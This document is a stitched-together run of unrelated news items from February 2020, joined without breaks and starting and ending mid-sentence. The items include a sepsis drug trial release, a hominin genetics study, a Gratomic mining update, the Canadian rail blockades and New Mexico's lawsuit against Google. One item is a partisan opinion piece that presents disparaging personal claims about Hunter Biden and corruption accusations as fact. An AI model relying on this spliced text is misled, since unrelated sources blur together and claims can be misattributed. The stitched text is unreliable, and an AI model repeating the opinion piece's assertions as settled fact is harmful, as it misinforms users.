UTSA and its forthcoming Honors Residential Community. One of his greatest passions is encouraging actions that can reduce the threat of climate change, a topic he spoke about at the 2019 Social Good Summit in New York. He has met with young people and spoken at high schools, colleges and conferences around the country as part of his duties as UNA-USA Youth Observer, and if anyone knows the incredible value of making those connections and having those conversations, its JayLen Boone. So many of us have this mission to draw from our experiences to think forward and make things better for the next generation, Boone says. Wherever I end up after UTSA, its going to be with that mission in mind. OTTAWA Winnipegs housing prices have fallen in line with incomes this quarter, though there might be too many houses being built in the city, according to federal data released Thursday. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. OTTAWA Winnipegs housing prices have fallen in line with incomes this quarter, though there might be too many houses being built in the city, according to federal data released Thursday. The Canada Mortgage and Housing Corporation has downgraded Winnipegs risk of overvaluation from moderate to low, though it still has a concern about overbuilding. "Overall, were seeing balanced market conditions for Winnipeg, compared to some of the other Prairie provinces," CMHC Winnipeg analyst Heather Bowyer told the Free Press. "Were seeing a bit of buyers market conditions." The Crown corporation releases quarterly housing-market assessments for the Winnipeg area, which includes East and West St. Pauls, as well as municipalities with a large share of commuters. The assessment for February 2020 found house prices that had been higher than disposable incomes last year have trended back to affordable levels. Thats thanks to low mortgage rates, as well as an uptick in both the population aged 25 to 34 years, as well as jobs that are both full- and part-time, meaning more buyers have more money to work with. "This caused our overvaluation gap to narrow, and removed the signal of imbalances for this quarter," said Bowyer. The CMHC remains concerned about overbuilding in Winnipeg, though the numbers declined from a year prior, and from a peak in 2016. Having too many homes on the market can impact housing values, while also disincentivizing developers, which can lead to deeper mismatches between demand and supply down the road. "We are seeing some moderate degree of overbuilding in Winnipeg, so its just something to watch, with the level of new construction happening," said Bowyer, noting homes are staying on the market, while condos face more demand. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Currently, single-detached homes make up almost half the completed houses on the Winnipeg market in late 2019. Overbuilding could also stem from a healthy rental-vacancy rate in the city, and competition from resold homes steering buyers away from taking new homes. An oversupply of houses is a concern across the Prairies: the CMHC has deemed it a high risk for Regina, while the housing market in Alberta appears to still be adapting as that provinces economy recovers. The CMHC is undergoing analysis on economic trends on the housing market nationwide; the Crown corporation should know in about a month the impact of mortgage changes and a global health emergency on housing. "Were figuring out the impacts of things like coronavirus (COVID-19) on the economy and housing markets," said CMHC chief economist Bob Dugan. "Were in the middle of our analysis right now." dylan.robertson@freepress.mb.ca Hey Stanley, Saslaw (D-Fairfax) said to Sen. Bill Stanley of Franklin County on Thursday, according to an account Stanley later posted on Facebook. You want to know why your sheriffs didnt get a raise? because they came to our committees and said that they werent going to enforce our laws. Adrecizumab, given on top of standard of care, was well tolerated and showed a favorable safety profile Adrecizumab demonstrates a positive trend on survival AdrenOSS-2 is a biomarker-guided (sphingotest bio-ADM 1 ) trial in sepsis Mode of Action confirmed: Adrecizumab modulates plasma level of bioactive Adrenomedullin (bio-ADM), a key hormone for vascular integrity and endothelial function HENNIGSDORF and BERLIN, Germany, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Adrenomed AG, the vascular integrity company, today reported positive top-line results from its proof-of-concept AdrenOSS-2 Phase II trial. AdrenOSS-2 evaluated the safety, tolerability and efficacy of Adrecizumab, a first-in-class monoclonal antibody targeting the vasoprotective peptide Adrenomedullin to restore and maintain vascular integrity in patients with early septic shock. Septic shock is a life-threatening condition with very limited treatment options. Sepsis is the main cause of death in hospitals worldwide.2 The biomarker-guided, randomized, international, multicenter, double-blind, placebo-controlled AdrenOSS-2 Phase II trial ( NCT03085758 3) enrolled a total of 301 patients with early septic shock and elevated blood levels of bio-ADM throughout Belgium, France, Germany and The Netherlands.4 In addition to standard of care, patients received Adrecizumab or placebo. Coordinating investigators for each involved country and chairpersons of the Steering Committee are Prof. A. Mebazaa, France, Prof. P.F. Laterre, Belgium, Prof. G. Marx, Germany and Prof. P. Pickkers, The Netherlands. The study achieved its primary endpoint: Adrecizumab demonstrated a favorable safety profile and was well tolerated. The safety and tolerability of Adrecizumab in septic shock patients were consistent with observations from the previous Phase I trials.5 In addition, the mortality rate in the 28-day follow-up in the placebo group was 28%, and a trend of lower all-cause mortality for Adrecizumab-treated patients compared to placebo was observed. Dr. Jens Zimmermann, CMO of Adrenomed said: These are very promising results and consistent data. The outcome of the AdrenOSS-2 trial indicates that Adrecizumab is of benefit for septic shock patients. By restoring and maintaining vascular integrity, Adrecizumab may represent a new treatment option for septic shock. Prof. Pierre-Francois Laterre, MD, Head of the medical-surgical intensive care unit at Saint Luc University Hospital at the Universite Catholique de Louvain, Brussels (Belgium), said: For the first time, we have seen a positive effect on early death in septic shock. The outcome of AdrenOSS-2 is an important step towards successful treatment of sepsis. The data support Adrecizumab being an effective therapeutic agent with an innovative mode of action which may improve survival of patients in the early stage of septic shock. We eagerly await the confirmation of these positive results in the future clinical development of Adrecizumab. Septic shock is a challenging syndrome with a high mortality rate, said Prof. Alexandre Mebazaa, MD, PhD, Chair of Department of Anesthesiology and Critical Care in Paris at the Hopital Lariboisiere, Universite de Paris (France). Safe and efficacious treatments are urgently needed to change the course of this complex condition. Undoubtedly, AdrenOSS-2 exhibited benefits on survival in septic shock patients, suggesting great potential for endothelial modulation on septic shock outcomes. Dr. Andreas Bergmann, CSO and co-founder of Adrenomed commented: Endothelial dysfunction is the major driver for organ dysfunction and mortality in sepsis. The biomarker bio-ADM specifically enables the identification of sepsis patients with endothelial dysfunction, who potentially may benefit the most from Adrecizumab treatment. Biomarker guidance of specific drugs will lead to new directions for fighting multi-complex diseases like sepsis. Dr. Jens Schneider-Mergener, CEO of Adrenomed, said: We are looking forward to further discussions with regulatory authorities and partners regarding the future development of Adrecizumab. With this successful proof-of-concept trial, we believe Adrecizumab has great potential not only in septic shock but also in other serious or life-threatening conditions associated with vascular leakage. We would like to take this opportunity to thank the investigators, study personnel, patients and their families for their participation in the AdrenOSS-2 trial. Detailed data from the AdrenOSS-2 study will be submitted for publication in a peer-reviewed journal later this year. About Sepsis and Septic Shock Sepsis is a life-threatening condition that results in organ dysfunction caused by a dysregulated host response to infection. Septic shock is the most severe form of sepsis characterized by a rapid fall in blood pressure requiring vasopressor treatment; profound circulatory, cellular and metabolic abnormalities; diminished oxygen supply to organs and finally, multiple organ failure. Septic shock is driven by severe loss of vascular integrity: a breakdown of the endothelial barrier, which results in uncontrolled leakage of intravascular fluid and other compounds into the extravascular space leading to congestion and edema. Today, sepsis and septic shock are major healthcare problems, representing a high unmet medical need affecting millions of people around the world every year. In the United States, sepsis causes or contributes to between one-third and one-half of all deaths occurring in hospitals. With an unacceptably high mortality rate,2 sepsis represents an enormous public health burden. The current standard of care for sepsis patients is based on early treatment with antibiotics and administration of fluids and vasopressors (hemodynamic support). About Adrecizumab and Adrenomedullin6 Adrenomedullin (ADM) is a free-circulating peptide that is mainly expressed and secreted by vascular endothelial cells. It shows vasoprotective activity inside blood vessels, where it closes the gaps between endothelial cells, subsequently preventing intravascular fluid and other compounds from uncontrolled leakage into the interstitium/extravascular space (= vascular leakage). In the interstitium, however, ADM has vasodilatory properties and causes hypotension when present in higher concentrations, which, in sepsis patients, leads to worsening and progression of the disease. Adrenomeds first-in-class drug candidate, Adrecizumab, targets bioactive Adrenomedullin (bio-ADM) to restore endothelial barrier function (= vascular integrity). Binding of the monoclonal antibody Adrecizumab to ADM in the blood traps and stabilizes the peptide-hormone, resulting in increased ADM concentrations within the blood vessels. The complex of ADM and Adrecizumab in the blood is still active. This way, Adrecizumab treatment boosts ADMs protective effects on the endothelial barrier. About Adrenomed Adrenomed AG is a German privately financed, clinical-stage biopharmaceutical company. Adrenomeds mission is to rescue vascular integrity in order to save the lives of critically ill patients with limited treatment options. Founded in 2009 by a management team with decades of in-depth experience in sepsis and deep knowledge in diagnostics and drug development, the companys lead product candidate Adrecizumab is a first-in-class monoclonal antibody. Adrecizumab targets the vasoprotective peptide Adrenomedullin, an essential regulator of vascular integrity. Adrecizumab has successfully completed a biomarker-guided, double-blinded, placebo-controlled, randomized, multicenter proof-of-concept Phase II trial with 301 patients suffering from septic shock. For further information, please visit www.adrenomed.com and follow us on LinkedIn and Twitter. Contact Adrenomed AG Frauke Hein, Ph.D. (Chief Business Officer) phone: +49 (0)3302 2077814 fhein@adrenomed.com Media Inquiries MC Services AG Eva Bauer / Julia von Hummel phone: +49 (0)89 21022880 adrenomed@mc-services.eu _____________________________ 1 bio-ADM is a registered trademark of sphingotec GmbH 2 JAMA 2014;312(1):90-92 3 clinicaltrials.gov/ct2/show/NCT03085758?term=NCT03085758&rank=1 4 BMJ Open, 2019;9:e024475 5 BJCP, 2018:84(9):2129-2141 6 Shock, 2018;50(6):648-654 A new study by researchers from the Department of Anthropology at the University of Utah shows that over 700,000 years ago, the ancestors of Neanderthals and Denisovans interbred with their Eurasian predecessors members of a superarchaic population that separated from other humans about 2 million years ago. Weve never known about this episode of interbreeding and weve never been able to estimate the size of the superarchaic population, said University of Utahs Professor Alan Rogers, the lead author of the study. Were just shedding light on an interval on human evolutionary history that was previously completely dark. Professor Rogers and colleagues studied the ways in which mutations are shared among modern Africans and Europeans, and ancient Neanderthals and Denisovans. The pattern of sharing implied five episodes of interbreeding, including one that was previously unknown. The newly discovered episode involves interbreeding over 700,000 years ago between a distantly related superarchaic population which separated from all other humans around 2 million years ago, and the ancestors of Neanderthals and Denisovans. The superarchaic and Neanderthal-Denisovan ancestor populations were more distantly related than any other pair of human populations previously known to interbreed. For example, modern humans and Neanderthals had been separated for about 750,000 years when they interbred. The superarchaics and Neanderthal-Denisovan ancestors were separated for well over a million years. These findings about the timing at which interbreeding happened in the human lineage is telling something about how long it takes for reproductive isolation to evolve, Professor Rogers said. The researchers used other clues in the genomes to estimate when the ancient human populations separated and their effective population size. They estimated the superarchaics separated into its own species about 2 million years ago. This agrees with human fossil evidence in Eurasia that is 1.85 million years old. The scientists also proposed there were three waves of human migration into Eurasia. The first was 2 million years ago when the superarchaics migrated into Eurasia and expanded into a large population. Then 700,000 years ago, Neanderthal-Denisovan ancestors migrated into Eurasia and quickly interbred with the descendants of the superarchaics. Finally, modern humans expanded to Eurasia 50,000 years ago where we know they interbred with other ancient humans, including with the Neanderthals. Ive been working for the last couple of years on this different way of analyzing genetic data to find out about history, Professor Rogers said. Its just gratifying that you come up with a different way of looking at the data and you end up discovering things that people havent been able to see with other methods. The results were published in the journal Science Advances. _____ Alan R. Rogers et al. 2020. Neanderthal-Denisovan ancestors interbred with a distantly related hominin. Science Advances 6 (8): eaay5483; doi: 10.1126/sciadv.aay5483 TORONTO, ON / ACCESSWIRE / February 21, 2020 / Gratomic Inc. ("GRAT" or the "Company") (TSXV:GRAT) (FRANKFURT: CB81, WKN:A143MR) is pleased to provide the following update to shareholders on general operations and the issuance of mining license ML215. Mining License Update On the 24th of January the Company's Co-CEO, Arnoldus Brand met with the Ministry of Mines and Energy in Namibia to satisfy a request that came from the special committee that is in charge of recommending the mining license request to the Minister of Mines and Energy, to provide an update on mine development and to fulfill certain criteria required for the approval of the mining license. The Company is happy to report that it fulfilled 100% of the required criteria during the meeting and was requested to amend the current Environmental Impact Assessment and Environmental Management Plan over EPL 3895 to include ML 215. After meeting with the members of the special committee, the Company immediately engaged Risk-Based Solutions (RBS) CC, Consulting Arm of Foresight Group Namibia (FGN) (Pty) Ltd, to start amending the EIA and EMP to include ML215. The final submission of the amended EIA and EMP was done on the 17th of February 2020. Through this submission Gratomic has now fulfilled all requirements to satisfy the committee's requests and is now waiting to hear back from the Ministry of Mines and Energy with respect to the granting of mining licence ML215. We would like to thank the Ministry for their co-operation and hard work to help Gratomic advance towards a mining company from a junior exploration company. Operations Update The Chinese manufacturing facility that is supplying the last pieces of equipment that make up the greater part of the drying circuit for the Aukam mine graphite processing plant has experienced significant delays due to the impact of the Coronavirus and has been unable to ship the equipment. The Company has been waiting for correspondence from the manufacturer on the platform designs that are required to be poured at the same time as the shipment leaves China to provide a sufficient curing period for the concrete platforms. The minimum shipping time from China to Namibia is 39 days once the equipment leaves port. We foresee further delays at both the port of China and the port of Walvis Bay given strict quarantine restrictions at both ports currently. On the 19th of February the Company received feed-back from the manufacturer on the platform designs and confirmation that some of the staff have returned back to the factory and it is now able to proceed with shipping of the remaining equipment. The List of Equipment from China includes the following: Cyclone Cluster 10 m Electrical Dryer Thickener 600 mm conveyor belt Filter press Slurry pumps and lines The equipment was specifically designed and built to accommodate mass balance pull and the treatment of Aukam Graphite based on the results of our pilot testing programs. The remainder of the equipment has already been set up on site and what remains is the arrival of this equipment to fully complete the 20,000 tonnes per year operating capacity of the processing facility. We appreciate the patience of our shareholders during this delay. We further sympathize with our Chinese vendors as they have been going through a difficult time. Management Update In an effort to reduce the Company's expenditures, the majority of Namibian staff and management has agreed to go to 50% remuneration as per SECTION 12 (6) OF THE NAMIBIAN LABOUR ACT NO 11 OF 2007 until the granting of ML215. The Canadian management team has lead by example by doing the same in an effort to preserve capital for operations. The efforts by the Namibian team to agree to such conditions is extraordinary and shows their commitment to the success of the business. We thank each and every one of our devoted and hard-working employees for their commitment towards the success of Gratomic as a company. Financing Update Gratomic further pushes to conclude its current financing as the Company moves towards fully commercializing its assets. To date the Company has raised CAD $626,000 of up to a CAD $2.5 million-dollar issuance. Management has excelled beyond their calling to do as much as they can to further operations along and will continue to work relentlessly to earn success. TODA Notes Update Further to the press release of October 17, 2019, where Gratomic announced the Supply Agreement with TODAQ Holdings ("TODAQ") to supply TODAQ with an aggregate of USD $25,000,000 of graphite, payable in TODA Notes ("TDN"), and the subsequent press release on December 20, 2019 where Gratomic received its first of two purchase orders from TODAQ, Gratomic is pleased to provide an update on the current status of TDN trading. TDN has been trading on BitForex, a digital asset exchange, with a 30-day average price and volume of approximately USD $0.24 and USD $950,000, respectively. TDN first started trading on Bitforex on November 1, 2019 at a price of USD $0.10 and a volume of USD $300,000. To follow TDN, please click the following link: https://www.bitforex.com/en/spot/tdn_btc. No TDN will be issued to the Company until the equipment arrives from China and the processing plant is in production. Arno Brand, Co-CEO, stated: "These have been trying times for the Company as it progresses its efforts to evolve from a junior exploration company to a mining company. The achievements of those that have sacrificed their time in making it a reality will not go unnoticed. The Company is still in a very strong position as it has built its operations without having to fall on the assistance of an abusive debt transaction that will impede its profitability and damage shareholder value going forward. I am proud of our team for their patience and hard work as we wait for our mining license. I would further like to thank all the shareholders for their continued support." Risk Factors No mineral resources, let alone mineral reserves demonstrating economic viability and technical feasibility, have been delineated on the Aukam Property. The Company is not in a position to demonstrate or disclose any capital and/or operating costs that may be associated with satisfying the terms of the TODAQ Supply Agreement. Gratomic wishes to emphasize that Supply Agreement is conditional on Gratomic being able to bring the Aukam project into a production phase, and for any graphite being produced to meet certain technical and mineralization requirements. Gratomic continues to move its business towards production and as part of its business plan, expects to obtain a National Instrument 43-101 Standards of Disclosure for Mineral Projects technical report to help it ascertain the economics of Aukam. Presently the Company uses its existing pilot processing facility to produce certain amounts of graphite concentrate from accumulated surface graphite. The Company advises that it has not based its production decision on even the existence of mineral resources let alone on a feasibility study of mineral reserves, demonstrating economic and technical viability, and, as a result, there may be an increased uncertainty of achieving any particular level of recovery of minerals or the cost of such recovery, including increased risks associated with developing a commercially mineable deposit. The Supply Agreement provides that if Gratomic is unable to deliver graphite in accordance with the orders from Todaq, Todaq has the right to refuse to take any subsequent attempt to fulfill the order, terminate the agreement immediately, obtain substitute product from another supplier and recover from the Company any costs and expenses incurred in obtaining such substitute product or suing for damages under the contract. Historically, such projects have a much higher risk of economic and technical failure. There is no guarantee that production will begin as anticipated or at all or that anticipated production costs will be achieved. Failure to commence production would have a material adverse impact on the Company's ability to generate revenue and cash flow to fund operations. Failure to achieve the anticipated production costs would have a material adverse impact on the Company's cash flow and future profitability. Steve Gray, P.Geo. has reviewed and approved the scientific and technical information in this press release and is Gratomic's "Qualified Person" as defined by National Instrument 43-101 - Standards of Disclosure for Mineral Projects. About Gratomic Inc. Gratomic is an advanced materials company focused on mine to market commercialization of graphite products most notably high value graphene-based components for a range of mass market products. We have a JV collaborating with Perpetuus Carbon Technology, a leading European manufacturer of graphenes, to use Aukam graphite to manufacture graphene products for commercialization on an industrial scale. The Company is listed on the TSX Venture Exchange under the symbol GRAT. For more information: visit the website at www.gratomic.ca or contact: Arno Brand, Co-CEO, +1 416-561-4095 E-mail inquiries: abrand@gratomic.ca "Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release." FORWARD LOOKING STATEMENTS: This news release contains forward-looking statements, which relate to future events or future performance and reflect management's current expectations and assumptions. Such forward-looking statements reflect management's current beliefs and are based on assumptions made by and information currently available to the Company. Investors are cautioned that these forward-looking statements are neither promises nor guarantees and are subject to risks and uncertainties that may cause future results to differ materially from those expected. These forward-looking statements are made as of the date hereof and, except as required under applicable securities legislation, the Company does not assume any obligation to update or revise them to reflect new events or circumstances. All of the forward-looking statements made in this press release are qualified by these cautionary statements and by those made in our filings with SEDAR in Canada (available at www.sedar.com). SOURCE: Gratomic Inc. View source version on accesswire.com:https://www.accesswire.com/577300/Gratomic-Provides-Update-to-Shareholders A shop-owner was shot dead by unknown assailants under Fatehpur Beri police station in the capital on Thursday night, police said here Friday. The helper of the man killed was also injured in the attack. The deceased has been identified as Ravi Kumar Singhal, age 47 and resident of Dera village here. Police said, "According to Singhal's helper Bhagwan Das, three unknown people on a bike fired at Singhal when he was closing his store. One of the accused also took away a bag of cash kept by Singhal on the stairs." Das was also hit by one of the accused on his head, while Singhal who was shot was rushed to Safdarjung Hospital where he was declared brought dead. AN FIR has been registered under sections 302, 308, 397, 34 of the Indian penal Code (IPC) and 25/27 of Arms Act. Teams have been constituted for identifying the criminals. An investigation is in progress, police added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A stridently anti-military Thai party was dissolved Friday and its key members banned from for a decade over a USD 6 million loan by its billionaire founder, a withering blow to the kingdom's pro-democracy movement. The Future Forward Party (FFP), fronted by the charismatic auto-parts scion Thanathorn Juangroongruangkit, emerged from nowhere in March last year to become Thailand's third biggest party in the first elections since a 2014 coup. The party's radical agenda -- calling for full democracy, an end to conscription and the removal of the army from and business -- pitched it against the powerful, conservative military. But since their strong poll showing, Thanathorn and his 76 lawmakers have faced relentless rounds of legal cases in Thailand's courts. On Friday the nine-member constitutional court dissolved FFP, ruling a USD 6 million loan by Thanathorn breached the law governing political parties. The loan exceeded the USD 315,000 limit on donations to parties by an individual, one judge said. Panya Udchachon told the court that "party executives must have known that a loan of that amount would give influence (to Thanathorn) and he could gain advantage over the party." Sixteen party executives, including founder Thanathorn, were also "banned for running for political office for 10 years," judge Nakarin Mektriarat added. The ruling appears to end the political aspirations of Thanathorn, whose emergence on the Thai political stage has wowed millennials but frightened the country's conservative establishment. Thanathorn has been a fierce critic of military involvement in in a country whose history is peppered with coups. Thailand's current prime minister led the the 2014 coup against the elected government of Yingluck Shinawatra. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) So much for that well worn chestnut that Hunter Biden "did nothing wrong," heard so very frequently during President Trump's impeachment hearings. For an $83,000-a-month retainer from Burisma, the corrupt Ukrainian gas company (Betsy McCaughey says he ended up with a $1-million payday), young Hunter proved to be able and willing to make himself useful. Look at this sequence of events that came about as a result of Hunter sitting on the Burisma board. According to National Review: A consultant for Burisma with links to Hunter Biden approached a top State Department official in June 2016 to discuss "troubling events" in Ukraine, according to newly released State Department emails. Consultant Sally Painter of Blue Star Strategies was at the time working with Burisma, the Ukrainian natural gas company, to quash corruption investigations into the firm. Painter approached then-deputy secretary of state Tony Blinken at an event for the Truman National Security Project, and sent an email to Blinken's top aide three days later requesting a second meeting with the deputy secretary. "Per my conversation with Tony at the Truman event, [Painter's Blue Star partner] Karen Tramontano and I would like to have a brief coffee with Tony at his earliest convenience regarding some troubling events we are seeing n [sic] Ukraine," Painter wrote in a June 27, 2016 email first reported by the Daily Caller. The email shows an instance of Burisma's efforts to contact State Department officials at the same time it was being investigated for corruption. However, the email does not specify whether Painter discussed Burisma with Blinken. Other emails show that Tramontano had been in contact with the state department specifically regarding Burisma. So the $83,000-a-month retainer paid for something, and these emails suggest that Burisma got its money's worth. This would explain why Hunter got the board seat in the first place. A cashiered ex-Navy guy, he got into the Navy at all based only on the strings his dad, Vice President Joe Biden, pulled for him. After the booze and the strippers and the cocaine washed him out of the Navy, he somehow ended up in that Burisma board seat, zero energy experience, zero Ukraine experience, zero consulting experience, all for that princely $83,000-a-month paycheck. With a story like this, now we know what he had to sell: a pay-to-play game that guaranteed access for any corrupt company that would put him on the payroll, goosing their access and influence to the State department and its policymakers. Hillary Clinton ran the State department on a pay-to-play basis, up until her departure in 2013, and apparently her successors were little different. Here's McCaughey's sequence of events as a reminder of just how this all worked: April 15, 2014: Burisma sends Hunter Biden's business partner, Devon Archer, $112,000. April 16, 2014: Archer visits Vice President Biden at the White House. April 21, 2014: Vice President Biden arrives in Ukraine bearing millions in aid for the Ukraine energy industry. May 12, 2014: Hunter Biden joins Burisma's board. February 2015: Ukrainian authorities seize the property of Burisma's CEO and go after unpaid taxes. March 2016: Biden demands that Ukraine's top prosecutor, Viktor Shokin, be fired, and threatens to hold up $1 billion in U.S. loan guarantees. It signals that President Trump was right to withhold aid to Ukraine until this kind of behavior could be sorted out. Democrats impeached him for that. This new information now shows that what they were really doing was covering up for a massive pattern of Democrat corruption. Image credit: Ben Stanfield, via Flickr, CC BY-SA 2.0. MONTREAL - A rail blockade in eastern Ontario has led to backlogs at Canada's three biggest ports, prompting some shippers to take their business elsewhere as cargo piles up and dockworkers' paycheques shrink. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. A driver heads to his propane truck after filling up in Dartmouth, N.S. on Friday, February 21, 2020. Rail service across the country has been disrupted by protests related to the construction of a natural gas pipeline in British Columbia and the supply of many commodities, including propane, has been severely impacted. THE CANADIAN PRESS/Andrew Vaughan MONTREAL - A rail blockade in eastern Ontario has led to backlogs at Canada's three biggest ports, prompting some shippers to take their business elsewhere as cargo piles up and dockworkers' paycheques shrink. Now in its third week, the protest along Canadian National Railway tracks east of Belleville, Ont., has halted CN's eastern network about one-quarter of its operations and choked shipments from coast to coast. Atlantic Container Line (ACL), a major U.S. shipping line, is diverting from the Port of Halifax in favour of U.S. harbours. The company, which typically berths two ships a week, is now docking in New York and Baltimore to run cargo inland on American railroads, chief executive Andrew Abbott said. "It's our gateway port for North America. So if you take out the rail, it knocks out 90 per cent of the cargo that we were putting on the ship," said Abbott, whose company has been calling on the Halifax port for more than 50 years. "It's commercial damage to Canadian manufacturers. It's financial damage to the guys who are bringing in French wine and cheese or Walkers butter cookies, because they're not going on the shelves," Abbott said. "Everybody's paying a piece." Halifax longshoremen are also working and earning less, as more than 60 per cent of freight that passes through the port is bound for trains that can no longer be loaded, port authority spokesman Lane Farguson said. The blockade disrupts business for everyone from stevedores to truckers, packers, importers, exporters and the ports and railways themselves. "It is certainly a challenging situation for everyone involved." In Montreal, some 4,000 containers sit immobilized on the docks and Prairie bulk products like grain can no longer reach the port. "We are obviously concerned about this situation, which has significant impacts on the economy and the transport logistics chain serving the port," spokeswoman Melanie Nadeau said in an email. Meanwhile, the number of ships waiting at anchor to enter Vancouver-area terminals has more than doubled to 50 due to the clogged transportation system, though no vessels are opting for U.S. ports as a result, said Vancouver Fraser Port Authority spokeswoman Melanie Nadeau. Nearly two weeks ago, protesters barred road access to Canada's biggest freight hub for several days, one of many pop-up blockades at ports, rail lines and roads across the country. CN closed its critical eastern network eight days ago after protesters set up a blockade in Tyendinaga Mohawk Territory on Feb. 6 in support of Wet'suwet'en hereditary chiefs who oppose a natural gas pipeline slated to pass through their traditional lands in British Columbia. The rail shutdown is rippling out to other sectors. Superior Propane, Canada's largest supplier of the fuel, said the situation is getting dire as it begins to ration distribution in Atlantic Canada over concerns that hospitals, nursing homes and households could run out of their primary heat source. "This is a crisis that is unfolding. Unfortunately if it goes on many more days it will be very difficult for the propane industry to recover quickly enough to keep people in supply," chief executive Greg McCamus said in a phone interview. The Quebec government launched a contingency plan Tuesday that requires all 63 suppliers in the province to ration propane. About 80 per cent of it typically arrives via tank car. "Ive been in this industry for 35 years. Ive never seen a situation like this one in the past," said Raymond Gouron, head of Quebec's propane association. The rail closure has squeezed the supply chain, triggering truck lineups as long as 10 hours for propane in Sarnia, Ont., according to Canadian Propane Association CEO Nathalie St-Pierre. The blockades also hinder west-to-east flow of household items from produce to plywood, Band-Aids and canola oil, and raise the cost of others, said Retail Council of Canada spokesman Karl Littler. "In terms of the mass carried, rail is far more efficient. So youve got potential price impacts if everything that was formerly moved by rail is moved by truck" a sector already facing a severe shortage of drivers. The effects are likely to be felt more keenly in smaller cities and towns, particularly in Eastern Canada, he said. "Were not talking about some Soviet store where youve got two cans of gherkin," Littler added. "But a lot of items are stuck 6,000 kilometres away in Vancouver." The broader impact on the economy may only amount to a hit of 0.2 percentage points to quarterly GDP growth, said RBC economist Nathan Janzen likely in the tens of millions of dollars. But the ripple effects are being felt "acutely" by some in the rail and manufacturing sectors. On Wednesday, Via Rail announced temporary layoffs for 1,000 employees as its Montreal-Toronto, Ottawa-Toronto and Montreal-Quebec City routes remain suspended indefinitely. The company said Friday evening that it planned to resume traffic on its Montreal-Ottawa route starting Saturday. Earlier this week, CN temporarily laid off about 450 workers from its operations in Eastern Canada after cancelling more than 400 trains since protests arose. Major carriers are monitoring the blockades closely. German shipping giant Hapag-Lloyd continues to call on the Halifax port, but is reviewing the situation "with a view to potentially omitting or rerouting vessels," said spokesman Tim Seifert. The crisis is stranding an estimated $425 million in goods every day, according to the Canadian Manufacturers and Exporters trade group. Quebec Premier Francois Legault said Friday that the disruption is costing the province about $100 million a day, in spite of RBC's much lower estimate. CN alone is facing a roughly $50-million dent to earnings due to the blockades, CIBC analyst Kevin Chiang inferred from the impact of the CN rail strike last November. This report by The Canadian Press was first published Feb. 21, 2020. Companies in this story: (TSX:CNR) New Mexicos attorney general sued Google on Thursday, saying the tech giant used its educational products to spy on the states children and families. Google collected a trove of students personal information, including data on their physical locations, websites they visited, YouTube videos they watched and their voice recordings, Hector Balderas, New Mexicos attorney general, said in a federal lawsuit. The consequences of Googles tracking cannot be overstated: children are being monitored by one of the largest data mining companies in the world, at school, at home, on mobile devices, without their knowledge and without the permission of their parents, the lawsuit said. In eight years, Google has emerged as the predominant tech brand in American public schools, outpacing Apple and Microsoft by offering a suite of inexpensive, easy-to-use tools. Today, more than half of the nations public schools and 90 million students and teachers globally use free Google Education apps like Gmail and Google Docs. More than 25 million students and teachers also use Chromebooks, which run on the companys Chrome operating system, the lawsuit said. The complaint, filed in U.S. District Court for the District of New Mexico, comes five months after Google agreed to pay a $170 million fine to settle federal and state charges that it had illegally harvested the personal data of children on YouTube. The new lawsuit claimed that the Mountain View company violated a federal law, the Childrens Online Privacy Protection Act, which requires companies to obtain a parents consent before collecting the name, contact information and other personal details from a child under 13. The lawsuit also said Google deceived schools, parents, teachers and students by telling them that were no privacy concerns with its education products when, in fact, the company had amassed a trove of potentially sensitive details on students online activities and locations. Jose Castaneda, a Google spokesman, said the lawsuits claims were factually wrong. G Suite for Education allows schools to control account access and requires that schools obtain parental consent when necessary, he said in a statement. We do not use personal information from users in primary and secondary schools to target ads. For years, parents and privacy groups have complained that Google was using its education products to track millions of schoolchildren without adequately detailing its data-mining practices or obtaining explicit parental consent for the tracking. One issue of contention is that the company applies different privacy policies to different products. Google has said that its core products for schools, including Gmail and Drive, comply with privacy regulations requiring companies to use student data only for school purposes. The company said those core education products do not collect student data for advertising purposes or show targeted ads. Google has maintained that other company services, like YouTube, which many schools also use, fall under a consumer privacy policy allowing it to collect user data for its own business purposes, such as product development. Although the company provides school districts with an online dashboard to control student access to YouTube and dozens of other Google apps, some public school officials have said that it can be difficult to parse the tech giants differing data-mining practices. Balderas said Google had used its education products as a means to deceptively track school children for nonschool purposes. When students log into their Chromebooks, Google turns on a feature that syncs its Chrome browser with other devices used by a student on that account, the lawsuit said. It effectively blends a students school and personal web activities into a single profile that can be viewed by Google, according to the lawsuit. A feature that would prevent Google from full access to that data is also turned off by default, the suit said. Students begin engaging with Google technology through teachers and in school settings for homework, communication and other educational purposes, Balderas said in a phone interview. Then the same schoolchildren, he said, go on to use Google services from their phones or at home, allowing Google to track them for noneducational purposes and definitely without the consent of their parents. This is not the first time that New Mexico has tangled with Google in the courts. Balderas filed a separate lawsuit in 2018 saying that a popular childrens app maker, along with advertising networks like Google and Twitter, had violated the federal childrens privacy law. In 2019, Google asked a federal judge to dismiss the suit. Balderas is also one of the attorneys general who have publicly signed onto an antitrust investigation into Google. To ease concerns about Googles education data mining, the company agreed in 2015 to sign a voluntary industry pledge on student privacy. Under that pledge, Google promised not to collect, maintain, use or share student personal information beyond that needed for educational purposes. Google also agreed not to use student information collected from its education services for behavioral ad targeting and not to retain students personal information beyond the time that the children were in school unless they received parental consent. The lawsuit argued that Google had broken those promises. Natasha Singer and Daisuke Wakabayashi are New York Times writers. Hillary Clinton on Friday lashed out at President Trump, accusing him of taking Russian help after the administration forced out the director of national intelligence, Joseph Maguire, causing alarm among the Intelligence Community. Putins Puppet is at it again, taking Russian help for himself. He knows he cant win without it. And we cant let it happen. https://t.co/10Z2YIipOI Hillary Clinton (@HillaryClinton) February 21, 2020 The former secretary of states barb echoes comments she made while she and Trump were rivals on the presidential campaign trail, when she remarked that Russian President Vladimir Putin would rather have a puppet as president of the United States. During a classified briefing last Thursday, Shelby Pierson, the Intelligence Community election threats executive, warned lawmakers that Russia is again interfering in the 2020 campaign and attempting to get Trump reelected, the New York Times reported, citing several people with knowledge of the briefing. Former special counsel Robert Mueller testified to Congress last summer that Russia had 